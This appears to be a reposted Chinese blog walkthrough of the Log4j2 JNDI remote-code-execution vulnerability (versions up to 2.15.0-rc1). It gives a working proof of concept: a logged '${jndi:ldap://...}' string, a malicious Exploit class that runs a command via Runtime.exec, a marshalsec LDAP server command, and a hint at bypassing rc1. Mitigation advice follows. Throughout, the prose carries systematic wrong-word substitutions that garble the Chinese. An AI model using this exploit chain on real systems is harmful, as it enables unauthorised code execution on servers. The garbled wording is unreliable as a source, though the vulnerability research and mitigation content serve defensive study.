起源:blog.csdn.net/qq_40989258/article/details/121862363

0x00 简介

ApacheLog4j2是一个开源的Java日志框架,被宽泛地利用在中间件、开发框架与Web利用中。

0x01 破绽概述

该破绽是因为Apache Log4j2某些性能存在递归解析性能,未经身份验证的攻击者通过发送特定歹意数据包,可在指标服务器上执行任意代码。

0x02 影响范畴

Apache Log4j 2.x <= 2.15.0-rc1

0x03 环境搭建

创立一个新的maven我的项目,并导入Log4j的依赖包

<dependency>    <groupId>org.apache.logging.log4j</groupId>    <artifactId>log4j-core</artifactId>    <version>2.14.1</version></dependency>

0x04 破绽利用

1、应用POC测试

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;class LogTest {    public static final Logger logger = LogManager.getLogger();    public static void main(String[] args) {        logger.error("${jndi:ldap://localhost:8888/Exploit}");    }}

2、编译一歹意类Exploit.class

首先新建exp.java,而后编译为class文件

class Exploit {    static {        System.err.println("Pwned");        try {            String cmds = "calc";            Runtime.getRuntime().exec(cmds);        } catch ( Exception e ) {            e.printStackTrace();        }    }}javac exp.java

3、应用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer"http://127.0.0.1:7777/#Exploit" 8888

4、运行poc.java,即可拜访歹意类并执行写在其中的"calc"命令

联合一些其它 StrLookup 适当变形,以及配合官网测试用例中脏数据"?Type=A Type&Name=1100110&Char=!"可绕过rc1,RC2版本对此异样进行了捕捉。

https://github.com/apache/log...

0x05 修复形式

目前,Apache官网已公布新版本实现破绽修复,倡议用户尽快进行自查,并及时降级至最新版本:

https://github.com/apache/log...

倡议同时采纳如下长期措施进行破绽防备:

1)增加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;

2)在利用classpath下增加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

3)JDK应用11.0.1、8u191、7u201、6u211及以上的高版本;

4)部署应用第三方防火墙产品进行平安防护。

近期热文举荐:

1.1,000+ 道 Java面试题及答案整顿(2021最新版)

2.劲爆!Java 协程要来了。。。

3.最新!Log4j 2.x 再发版,正式解决核弹级破绽,又要熬夜了。。。

4.Spring Boot 2.6 正式公布,一大波新个性。。

5.《Java开发手册(嵩山版)》最新公布,速速下载!

感觉不错,别忘了顺手点赞+转发哦!